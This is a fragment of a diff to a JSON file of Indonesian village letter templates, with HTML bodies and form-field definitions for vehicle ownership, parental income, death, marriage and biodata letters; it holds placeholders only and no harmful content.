\u00a0<\/td>\r\nNomor Polisi<\/td>\r\n:<\/td>\r\n[Form_nomor_polisI]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\nNomor Mesin<\/td>\r\n:<\/td>\r\n[Form_nomor_mesiN]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\nNomor Rangka<\/td>\r\n:<\/td>\r\n[Form_nomor_rangkA]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\nNomor BPKB<\/td>\r\n:<\/td>\r\n[Form_nomor_bpkB]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\nBahan Bakar<\/td>\r\n:<\/td>\r\n[Form_bahan_bakaR]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\nIsi Silinder<\/td>\r\n\u00a0:<\/td>\r\n[Form_isi_silindeR]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\nAtas Nama<\/td>\r\n\u00a0:<\/td>\r\n[Form_atas_namA]<\/td>\r\n<\/tr>\r\n<\/tbody>\r\n<\/table>\r\n

Kendaraan tersebut di atas adalah milik [NAma]<\/strong> yang beralamat di [AlamaT] [Sebutan_desa] [NaMa_desa], Kecamatan [NaMa_kecamatan], [SeButan_kabupaten] [NaMa_kabupaten].<\/strong> Surat keterangan ini dipergunakan untuk : [Form_keperluan_pembuatan_suraT]<\/strong>.<\/p>\r\n

Demikian surat keterangan ini dibuat dengan sebenarnya, untuk dipergunakan sebagaimana mestinya.<\/p>\r\n

\u00a0<\/p>\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n
\u00a0<\/td>\r\n\u00a0<\/td>\r\n[NaMa_desa], [TgL_surat]<\/td>\r\n<\/tr>\r\n
Pemilik<\/td>\r\n\u00a0<\/td>\r\n[Atas_namA]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n



<\/td>\r\n
\u00a0<\/td>\r\n<\/tr>\r\n
[NamA]<\/td>\r\n\u00a0<\/td>\r\n[Nama_pamonG]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n\u00a0<\/td>\r\n[SEbutan_nip_desa] : [nip_pamong]<\/td>\r\n<\/tr>\r\n<\/tbody>\r\n<\/table>\r\n
\u00a0<\/div>", + "template_desa": null, "form_isian": { "individu": { "sumber": 1, @@ -1340,10 +1563,39 @@ "2", "3", "4", + "5", "6", + "7", + "8", "9" ], "kk_level": [ + 1, + 2, + 3, + 4, + 5, + 6, + 7, + 8, + 9, + 10, + 11 + ], + "data_orang_tua": "0", + "data_pasangan": "0", + "judul": "Utama", + "label": "Identitas Pemohon", + "info": "", + "hubungan": null + }, + "kendaraan": { + "sumber": "0", + "data": [ + "1" + ], + "sex": "", + "status_dasar": [ "1", "2", "3", @@ -1352,31 +1604,180 @@ "6", "7", "8", - "9", - "10", - "11" + "9" ], - "data_orang_tua": "0", - "data_pasangan": "0", - "judul": "Pemohon", - "label": "Keterangan Pemohon", - "info": "", - "sebagai": 1, - "hubungan": null + "kk_level": [ + 1, + 2, + 3, + 4, + 5, + 6, + 7, + 8, + 9, + 10, + 11 + ], + "judul": "Kendaraan", + "label": "IDENTITAS \/ DETAIL KENDARAAN", + "info": "Pengisian Identitas \/ Detail Kendaraan sesuai dengan BPKB", + "hubungan": "" } }, "kode_isian": [ { + "kategori": "kendaraan", "tipe": "text", - "kode": "[form_keperluan]", - "nama": "keperluan", - "deskripsi": "keperluan", - "required": "0", + "kode": "[form_merktype]", + "nama": "Merk\/Type", + "deskripsi": "Merk\/Type Kendaraan", + "required": "1", "atribut": null, "pilihan": null, "refrensi": null, - "kolom": "", - "label": "Keperluan", + "kolom": "4", + "label": "Merk\/Type \/ Tahun \/ Warna", + "kaitkan_kode": "" + }, + { + "kategori": "kendaraan", + "tipe": "number", + "kode": "[form_tahun_pembuatan]", + "nama": "Tahun Pembuatan", + "deskripsi": "Tahun Pembuatan", + "required": "1", + "atribut": "min=\"1945\" max=\"2050\"", + "pilihan": null, + "refrensi": null, + "kolom": "4", + "label": "Merk\/Type \/ Tahun \/ Warna", + "kaitkan_kode": "" + }, + { + "kategori": "kendaraan", + "tipe": "text", + "kode": "[form_warna_kendaraan]", + "nama": "Warna Kendaraan", + "deskripsi": "Warna Kendaraan", + "required": "1", + "atribut": null, + "pilihan": null, + "refrensi": null, + "kolom": "4", + "label": "Merk\/Type \/ Tahun \/ Warna", + "kaitkan_kode": "" + }, + { + "kategori": "kendaraan", + "tipe": "text", + "kode": "[form_nomor_polisi]", + "nama": "Nomor Polisi", + "deskripsi": "Nomor Polisi", + "required": "1", + "atribut": null, + "pilihan": null, + "refrensi": null, + "kolom": "4", + "label": "Nomor Polisi \/ Mesin \/ Rangka", + "kaitkan_kode": "" + }, + { + "kategori": "kendaraan", + "tipe": "text", + "kode": "[form_nomor_mesin]", + "nama": "Nomor Mesin", + "deskripsi": "Nomor Mesin", + "required": "1", + "atribut": null, + "pilihan": null, + "refrensi": null, + "kolom": "4", + "label": "Nomor Polisi \/ Mesin \/ Rangka", + "kaitkan_kode": "" + }, + { + "kategori": "kendaraan", + "tipe": "text", + "kode": "[form_nomor_rangka]", + "nama": "Nomor Rangka", + "deskripsi": "Nomor Rangka", + "required": "1", + "atribut": null, + "pilihan": null, + "refrensi": null, + "kolom": "4", + "label": "Nomor Polisi \/ Mesin \/ Rangka", + "kaitkan_kode": "" + }, + { + "kategori": "kendaraan", + "tipe": "text", + "kode": "[form_nomor_bpkb]", + "nama": "Nomor BPKB", + "deskripsi": "Nomor BPKB", + "required": "1", + "atribut": null, + "pilihan": null, + "refrensi": null, + "kolom": "4", + "label": "Nomor BPKB \/ Bahan Bakar \/ Isi Silinder", + "kaitkan_kode": "" + }, + { + "kategori": "kendaraan", + "tipe": "text", + "kode": "[form_bahan_bakar]", + "nama": "Bahan Bakar", + "deskripsi": "Bahan Bakar", + "required": "1", + "atribut": null, + "pilihan": null, + "refrensi": null, + "kolom": "4", + "label": "Nomor BPKB \/ Bahan Bakar \/ Isi Silinder", + "kaitkan_kode": "" + }, + { + "kategori": "kendaraan", + "tipe": "text", + "kode": "[form_isi_silinder]", + "nama": "Isi Silinder", + "deskripsi": "Isi Silinder (dalam CC)", + "required": "1", + "atribut": null, + "pilihan": null, + "refrensi": null, + "kolom": "4", + "label": "Nomor BPKB \/ Bahan Bakar \/ Isi Silinder", + "kaitkan_kode": "" + }, + { + "kategori": "kendaraan", + "tipe": "text", + "kode": "[form_atas_nama]", + "nama": "Atas Nama", + "deskripsi": "Atas Nama", + "required": "1", + "atribut": null, + "pilihan": null, + "refrensi": null, + "kolom": "12", + "label": "Atas Nama", + "kaitkan_kode": "" + }, + { + "kategori": "kendaraan", + "tipe": "textarea", + "kode": "[form_keperluan_pembuatan_surat]", + "nama": "Keperluan Pembuatan Surat", + "deskripsi": "Untuk Keperluan", + "required": "1", + "atribut": null, + "pilihan": null, + "refrensi": null, + "kolom": "12", + "label": "Keperluan Pembuatan Surat", "kaitkan_kode": "" } ], @@ -1390,10 +1791,10 @@ "sumber_penduduk_berulang": "0" }, { - "nama": "Keterangan Kematian", - "url_surat": "surat-keterangan-kematian", - "kode_surat": "S-21", - "lampiran": "F-2.01", + "nama": "Keterangan Penghasilan Orang Tua", + "url_surat": "surat-keterangan-penghasilan-orang-tua", + "kode_surat": "S-42", + "lampiran": null, "kunci": false, "favorit": false, "jenis": "3", @@ -1404,7 +1805,8 @@ "logo_garuda": false, "kecamatan": "0", "syarat_surat": null, - "template": "

[JUdul_surat]<\/span><\/h4>\r\n

Nomor : [FOrmat_nomor_surat]

<\/p>\r\n

Yang bertanda tangan di bawah ini [JaBatan] [NaMa_desa], Kecamatan [NaMa_kecamatan], [SeButan_kabupaten] [NaMa_kabupaten], Provinsi [NaMa_provinsi] menerangkan dengan sebenarnya bahwa :<\/p>\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n
\u00a0<\/td>\r\n1.<\/td>\r\nNama<\/td>\r\n:<\/td>\r\n[NAma]<\/strong><\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n2.<\/td>\r\nNIK \/ No. KTP<\/td>\r\n:<\/td>\r\n[Nik]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n3.<\/td>\r\nJenis Kelamin<\/td>\r\n:<\/td>\r\n[Jenis_kelamin]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n4.<\/td>\r\nTempat \/ Tanggal Lahir<\/td>\r\n:<\/td>\r\n[TtL]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n5.<\/td>\r\nPekerjaan<\/td>\r\n:<\/td>\r\n[Pekerjaan]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n6.

<\/td>\r\n
Alamat \/ Tempat Tinggal

<\/td>\r\n
:

<\/td>\r\n
[AlamaT] [Sebutan_desa] [NaMa_desa], Kecamatan [NaMa_kecamatan], [SeButan_kabupaten] [NaMa_kabupaten]<\/td>\r\n<\/tr>\r\n<\/tbody>\r\n<\/table>\r\n

Telah meninggal dunia pada:<\/p>\r\n\r\n\r\n\r\n\r\n\r\n
\u00a0<\/td>\r\n7.<\/td>\r\nHari \/ Tanggal \/ Jam<\/td>\r\n:<\/td>\r\n[Hari_kematiaN], [Tanggal_kematiaN], [Jam_kematiaN]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n8.<\/td>\r\nBertempat di<\/td>\r\n:<\/td>\r\n[Tempat_kematiaN]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n9.<\/td>\r\nPenyebab Kematian<\/td>\r\n:<\/td>\r\n[Penyebab_kematiaN]<\/td>\r\n<\/tr>\r\n<\/tbody>\r\n<\/table>\r\n

Surat keterangan ini dibuat berdasarkan keterangan pelapor:<\/p>\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n
\u00a0<\/td>\r\n10.<\/td>\r\nNama Lengkap<\/td>\r\n:<\/td>\r\n[NAma_pelapor]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n11.<\/td>\r\nNIK \/ No. KTP<\/td>\r\n:<\/td>\r\n[Nik_pelapoR]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n12.<\/td>\r\nTanggal Lahir<\/td>\r\n:<\/td>\r\n[Tanggallahir_pelapoR]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n13.<\/td>\r\nPekerjaan<\/td>\r\n:<\/td>\r\n[Pekerjaan]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n14.<\/td>\r\nAlamat \/ Tempat Tinggal<\/td>\r\n:<\/td>\r\n[Alamat_pelapoR]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n15.<\/td>\r\nHubungan dengan yang mati<\/td>\r\n:<\/td>\r\n[Form_hubungan_pelapor_dengan_yang_matI]<\/td>\r\n<\/tr>\r\n<\/tbody>\r\n<\/table>\r\n

Demikian surat keterangan ini dibuat dengan sebenarnya agar dapat dipergunakan sebagaimana mestinya.

<\/p>\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n
\u00a0<\/td>\r\n\u00a0<\/td>\r\n[NaMa_desa], [TgL_surat]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n\u00a0<\/td>\r\n[Atas_namA]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n



<\/td>\r\n
\u00a0<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n\u00a0<\/td>\r\n[Nama_pamonG]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n\u00a0<\/td>\r\n[SEbutan_nip_desa] : [nip_pamong]<\/td>\r\n<\/tr>\r\n<\/tbody>\r\n<\/table>\r\n

[qr_code]<\/div>", + "template": "

[JUdul_surat]<\/span><\/h4>\r\n

Nomor : [Format_nomor_suraT]<\/p>\r\n

\u00a0<\/p>\r\n

Yang bertanda tangan di bawah ini [JaBatan] [NaMa_desa], Kecamatan [NaMa_kecamatan], [SeButan_kabupaten] [NaMa_kabupaten], Provinsi [NaMa_provinsi] menerangkan dengan sebenarnya bahwa :<\/p>\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n
\u00a0<\/td>\r\n1.<\/td>\r\nNama Lengkap<\/td>\r\n:<\/td>\r\n[NAma]<\/strong><\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n2.<\/td>\r\nTempat \/ Tanggal Lahir<\/td>\r\n:<\/td>\r\n[TtL]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n3.<\/td>\r\nNIK<\/td>\r\n:<\/td>\r\n[NiK]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n4.<\/td>\r\nJenis Kelamin<\/td>\r\n:<\/td>\r\n[Jenis_kelamin]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n5.<\/td>\r\nNomor Induk Siswa\/Mahasiswa<\/td>\r\n:<\/td>\r\n[Form_nomor_induk_siswamahasiswA]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n6.<\/td>\r\nJurusan\/Fakultas\/Prodi<\/td>\r\n:<\/td>\r\n[Form_jurusanfakultasprodI]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n7.<\/td>\r\nSekolah\/Perguruan Tinggi<\/td>\r\n:<\/td>\r\n[Form_sekolahperguruan_tinggI]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n8.<\/td>\r\nKelas\/Semester<\/td>\r\n:<\/td>\r\n[Form_kelassemesteR]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n9.<\/td>\r\nAgama<\/td>\r\n:<\/td>\r\n[AgamA]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n10.<\/td>\r\nPekerjaan<\/td>\r\n:<\/td>\r\n[PekerjaaN]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n11.<\/td>\r\nAlamat<\/td>\r\n:<\/td>\r\n[AlamaT] [Sebutan_desa] [NaMa_desa], Kecamatan [NaMa_kecamatan], [SeButan_kabupaten] [NaMa_kabupaten], [Nama_provinsI]<\/td>\r\n<\/tr>\r\n<\/tbody>\r\n<\/table>\r\n

Adalah benar penduduk yang berdomisili di [AlamaT], [Sebutan_desa] [NaMa_desa], Kecamatan [NaMa_kecamatan], [SeButan_kabupaten] [NaMa_kabupaten], [Nama_provinsI], dan merupakan Anak\u00a0<\/strong>dari:<\/p>\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n
\u00a0<\/td>\r\n1.<\/td>\r\nNama Ayah<\/td>\r\n:<\/td>\r\n[Nama_ayaH]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n\u00a0<\/td>\r\nTempat \/ Tanggal Lahir<\/td>\r\n:<\/td>\r\n[Ttl_ayaH]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n\u00a0<\/td>\r\nNIK<\/td>\r\n:<\/td>\r\n[Nik_ayaH]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n\u00a0<\/td>\r\nJenis Kelamin<\/td>\r\n:<\/td>\r\n[Jenis_kelamin_ayaH]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n\u00a0<\/td>\r\nAgama<\/td>\r\n\u00a0<\/td>\r\n[Agama_ayaH]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n\u00a0<\/td>\r\nPekerjaan<\/td>\r\n:<\/td>\r\n[Pekerjaan_ayaH]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n

<\/td>\r\n
Alamat

<\/td>\r\n
:

<\/td>\r\n
[Alamat_ayaH] [Sebutan_desa] [NaMa_desa], Kecamatan [NaMa_kecamatan], [SeButan_kabupaten] [NaMa_kabupaten], [Nama_provinsI]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n\u00a0<\/td>\r\nPenghasilan<\/td>\r\n:<\/td>\r\n[Form_penghasilan_ayaH] ([Terbilang][[Form_penghasilan_ayaH]])<\/em><\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n2.<\/td>\r\nNama Ibu<\/td>\r\n:<\/td>\r\n[Nama_ibU]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n\u00a0<\/td>\r\nTempat \/ Tanggal Lahir<\/td>\r\n:<\/td>\r\n[Ttl_ibU]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n\u00a0<\/td>\r\nNIK<\/td>\r\n:<\/td>\r\n[Nik_ibU]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n\u00a0<\/td>\r\nJenis Kelamin<\/td>\r\n:<\/td>\r\n[Jenis_kelamin_ibU]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n\u00a0<\/td>\r\nAgama<\/td>\r\n\u00a0<\/td>\r\n[Agama_ibU]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n\u00a0<\/td>\r\nPekerjaan<\/td>\r\n:<\/td>\r\n[Pekerjaan_ibU]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n

<\/td>\r\n
Alamat

<\/td>\r\n
:

<\/td>\r\n
[Alamat_ibU] [Sebutan_desa] [NaMa_desa], Kecamatan [NaMa_kecamatan], [SeButan_kabupaten] [NaMa_kabupaten], [Nama_provinsI]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n\u00a0<\/td>\r\nPenghasilan<\/td>\r\n:<\/td>\r\n[Form_penghasilan_ibU] ([Terbilang][[Form_penghasilan_ibU]])<\/em><\/td>\r\n<\/tr>\r\n<\/tbody>\r\n<\/table>\r\n

Dengan penghasilan rata-rata Orang Tua [HitunG][[Form_penghasilan_ayaH]+[Form_penghasilan_ibU]] ([Terbilang][[HitunG][[Form_penghasilan_ayaH]+[Form_penghasilan_ibU]]])<\/em>\u00a0<\/strong> <\/strong>setiap bulannya.<\/p>\r\n

Demikian Surat Keterangan Penghasilan Orangtua ini dibuat dengan sebenarnya agar dapat dipergunakan sebagaimana mestinya.<\/p>\r\n

\u00a0<\/p>\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n
\u00a0<\/td>\r\n\u00a0<\/td>\r\n[NaMa_desa], [TgL_surat]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n\u00a0<\/td>\r\n[Atas_namA]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n



<\/td>\r\n
\u00a0<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n\u00a0<\/td>\r\n[Nama_pamonG]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n\u00a0<\/td>\r\n[SEbutan_nip_desa] : [nip_pamong]<\/td>\r\n<\/tr>\r\n<\/tbody>\r\n<\/table>\r\n

[qr_code]<\/div>", + "template_desa": null, "form_isian": { "individu": { "sumber": 1, @@ -1413,9 +1815,6 @@ ], "sex": "", "status_dasar": [ - "2" - ], - "kk_level": [ "1", "2", "3", @@ -1424,134 +1823,95 @@ "6", "7", "8", - "9", - "10", - "11" - ], - "data_orang_tua": "1", - "data_pasangan": "0", - "judul": "Jenazah", - "label": "Identitas Jenazah", - "info": "", - "sebagai": 1, - "hubungan": null - }, - "Pelapor": { - "sumber": 1, - "data": [ - "1", - "3" - ], - "sex": "", - "status_dasar": [ - "1", - "2", - "3", - "4", - "6", "9" ], "kk_level": [ - "1", - "2", - "3", - "4", - "5", - "6", - "7", - "8", - "9", - "10", - "11" + 4 ], - "judul": "Pelapor", - "label": "Pelapor", - "info": "", - "sebagai": 2, - "hubungan": "" + "data_orang_tua": "0", + "data_pasangan": "0", + "judul": "Utama", + "label": "Keterangan Pemohon", + "hubungan": null + } + }, + "kode_isian": [ + { + "tipe": "text", + "kode": "[form_nomor_induk_siswamahasiswa]", + "nama": "Nomor Induk Siswa\/Mahasiswa", + "deskripsi": "Masukkan Nomor Induk Siswa\/Mahasiswa", + "required": "0", + "atribut": null, + "pilihan": null, + "refrensi": null, + "kolom": "", + "label": "", + "kaitkan_kode": "" }, - "Saksi_I": { - "sumber": 1, - "data": [ - "1", - "3" - ], - "sex": "", - "status_dasar": [ - "1", - "2", - "3", - "4", - "6", - "9" - ], - "kk_level": [ - "1", - "2", - "3", - "4", - "5", - "6", - "7", - "8", - "9", - "10", - "11" - ], - "judul": "Saksi 1", - "label": "Saksi 1", - "info": "", - "sebagai": 0, - "hubungan": "" + { + "tipe": "text", + "kode": "[form_jurusanfakultasprodi]", + "nama": "Jurusan\/Fakultas\/Prodi", + "deskripsi": "Masukkan Jurusan\/Fakultas\/Prodi", + "required": "0", + "atribut": null, + "pilihan": null, + "refrensi": null, + "kolom": "", + "label": "", + "kaitkan_kode": "" }, - "Saksi_II": { - "sumber": 1, - "data": [ - "1", - "3" - ], - "sex": "", - "status_dasar": [ - "1", - "2", - "3", - "4", - "6", - "9" - ], - "kk_level": [ - "1", - "2", - "3", - "4", - "5", - "6", - "7", - "8", - "9", - "10", - "11" - ], - "judul": "Saksi 2", - "label": "Saksi 2", - "info": "", - "sebagai": 0, - "hubungan": "" - } - }, - "kode_isian": [ { - "kategori": "Pelapor", "tipe": "text", - "kode": "[form_hubungan_pelapor_dengan_yang_mati]", - "nama": "Hubungan pelapor dengan yang mati", - "deskripsi": "Hubungan pelapor dengan yang mati", - "required": "1", + "kode": "[form_sekolahperguruan_tinggi]", + "nama": "Sekolah\/Perguruan Tinggi", + "deskripsi": "Masukkan Sekolah\/Perguruan Tinggi", + "required": "0", "atribut": null, "pilihan": null, "refrensi": null, - "kolom": "12", - "label": "Hubungan pelapor dengan yang mati", + "kolom": "", + "label": "", + "kaitkan_kode": "" + }, + { + "tipe": "text", + "kode": "[form_kelassemester]", + "nama": "Kelas\/Semester", + "deskripsi": "Masukkan Kelas\/Semester", + "required": "0", + "atribut": null, + "pilihan": null, + "refrensi": null, + "kolom": "", + "label": "", + "kaitkan_kode": "" + }, + { + "tipe": "text", + "kode": "[form_penghasilan_ayah]", + "nama": "Penghasilan Ayah", + "deskripsi": "Masukkan Penghasilan Ayah", + "required": "0", + "atribut": "class=\" rupiah\"", + "pilihan": null, + "refrensi": null, + "kolom": "6", + "label": "", + "kaitkan_kode": "" + }, + { + "tipe": "text", + "kode": "[form_penghasilan_ibu]", + "nama": "Penghasilan Ibu", + "deskripsi": "Masukkan Penghasilan Ibu", + "required": "0", + "atribut": "class=\" rupiah\"", + "pilihan": null, + "refrensi": null, + "kolom": "6", + "label": "", "kaitkan_kode": "" } ], @@ -1565,38 +1925,29 @@ "sumber_penduduk_berulang": "0" }, { - "nama": "Keterangan Untuk Nikah Warga Non Muslim", - "url_surat": "surat-keterangan-untuk-nikah-warga-non-muslim", - "kode_surat": "S-50", - "lampiran": "F-2.12", + "nama": "Biodata Penduduk", + "url_surat": "surat-biodata-penduduk", + "kode_surat": "S-03", + "lampiran": "F-1.01,F-1.02", "kunci": false, "favorit": false, "jenis": "3", - "mandiri": false, + "mandiri": true, "masa_berlaku": 1, "satuan_masa_berlaku": "M", "qr_code": false, "logo_garuda": false, "kecamatan": "0", "syarat_surat": null, - "template": "

[JUdul_surat]<\/span><\/h4>\r\n

Nomor : [Format_nomor_suraT]

<\/p>\r\n

Yang bertanda tangan di bawah ini [JaBatan] [NaMa_desa], Kecamatan [NaMa_kecamatan], [SeButan_kabupaten] [NaMa_kabupaten], Provinsi [NaMa_provinsi] menerangkan dengan sebenarnya bahwa :<\/p>\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n
\u00a0<\/td>\r\n1.<\/td>\r\nNama<\/td>\r\n:<\/td>\r\n[NAma]<\/strong><\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n2.<\/td>\r\nTempat \/ Tanggal Lahir<\/td>\r\n:<\/td>\r\n[TtL]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n3.<\/td>\r\nJenis Kelamin<\/td>\r\n:<\/td>\r\n[Jenis_kelamiN]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n4.<\/td>\r\nSurat Bukti Diri<\/td>\r\n\u00a0<\/td>\r\n\u00a0<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n\u00a0<\/td>\r\nKTP<\/td>\r\n:<\/td>\r\n[NiK]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n\u00a0<\/td>\r\nKK<\/td>\r\n:<\/td>\r\n[No_kK]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n5.<\/td>\r\nWarga Negara<\/td>\r\n:<\/td>\r\n[Warga_negarA]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n6.<\/td>\r\nAgama<\/td>\r\n:<\/td>\r\n[AgamA]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n7.<\/td>\r\nPekerjaan<\/td>\r\n:<\/td>\r\n[PekerjaaN]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n8.

<\/td>\r\n
Alamat

<\/td>\r\n
:

<\/td>\r\n
[AlamaT] [Sebutan_desa] [NaMa_desa], Kecamatan [NaMa_kecamatan], [SeButan_kabupaten] [NaMa_kabupaten]<\/td>\r\n<\/tr>\r\n<\/tbody>\r\n<\/table>\r\n

Nama tersebut di atas betul telah menikah dengan seorang perempuan yang bernama :<\/p>\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n
\u00a0<\/td>\r\n9.<\/td>\r\nNama<\/td>\r\n\u00a0<\/td>\r\n:<\/td>\r\n[Nama_cpW]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n10.<\/td>\r\nTempat\/tanggal lahir<\/td>\r\n\u00a0<\/td>\r\n:<\/td>\r\n[Ttl_cpW]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n11.<\/td>\r\nJenis Kelamin<\/td>\r\n\u00a0<\/td>\r\n:<\/td>\r\n[Jenis_kelamin_cpW]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n12.<\/td>\r\nSurat Bukti Diri<\/td>\r\n\u00a0<\/td>\r\n\u00a0<\/td>\r\n\u00a0<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n\u00a0<\/td>\r\nKTP<\/td>\r\n\u00a0<\/td>\r\n:<\/td>\r\n[Nik_cpW]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n\u00a0<\/td>\r\nKK<\/td>\r\n\u00a0<\/td>\r\n:<\/td>\r\n[No_kk_cpW]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n13.<\/td>\r\nWarga Negara<\/td>\r\n\u00a0<\/td>\r\n:<\/td>\r\n[Warga_negara_cpW]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n14.<\/td>\r\nAgama<\/td>\r\n\u00a0<\/td>\r\n:<\/td>\r\n[Agama_cpW]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n15.<\/td>\r\nPekerjaan<\/td>\r\n\u00a0<\/td>\r\n:<\/td>\r\n[Pekerjaan_cpW]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n16.<\/td>\r\nAlamat<\/td>\r\n\u00a0<\/td>\r\n:<\/td>\r\n[Alamat_cpW] [Sebutan_desa] [NaMa_desa], Kecamatan [NaMa_kecamatan], [SeButan_kabupaten] [NaMa_kabupaten]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n\u00a0<\/td>\r\n\u00a0<\/td>\r\n\u00a0<\/td>\r\n\u00a0<\/td>\r\n\u00a0<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n\u00a0<\/td>\r\n\u00a0<\/td>\r\nDi:<\/td>\r\n\u00a0<\/td>\r\n\u00a0<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n17.<\/td>\r\nTempat<\/td>\r\n\u00a0<\/td>\r\n:<\/td>\r\n[Form_nama_badan_peradilaN]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n18.<\/td>\r\nTanggal<\/td>\r\n\u00a0<\/td>\r\n:<\/td>\r\n[Form_tanggal_putusan_penetapan_pengadilaN]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n\u00a0<\/td>\r\n\u00a0<\/td>\r\n\u00a0<\/td>\r\n\u00a0<\/td>\r\n\u00a0<\/td>\r\n<\/tr>\r\n<\/tbody>\r\n<\/table>\r\n

Demikian surat ini dibuat untuk dipergunakan sebagaimana mestinya.<\/p>\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n
\u00a0<\/td>\r\n\u00a0<\/td>\r\n[NaMa_desa], [TgL_surat]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n\u00a0<\/td>\r\n\u00a0[Sebutan_desA] [Kode_desA]<\/td>\r\n<\/tr>\r\n
[qr_code]<\/td>\r\n


<\/td>\r\n
\u00a0<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n\u00a0<\/td>\r\n[Nama_pamonG]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n\u00a0<\/td>\r\n\u00a0NIP : [nip_pamong]<\/td>\r\n<\/tr>\r\n<\/tbody>\r\n<\/table>\r\n


<\/div>", + "template": "

[JUdul_surat]<\/span><\/h4>\r\n

Nomor : [Format_nomor_suraT]

<\/p>\r\n

I. DATA KELURGA<\/strong><\/p>\r\n \r\n \r\n \r\n \r\n \r\n
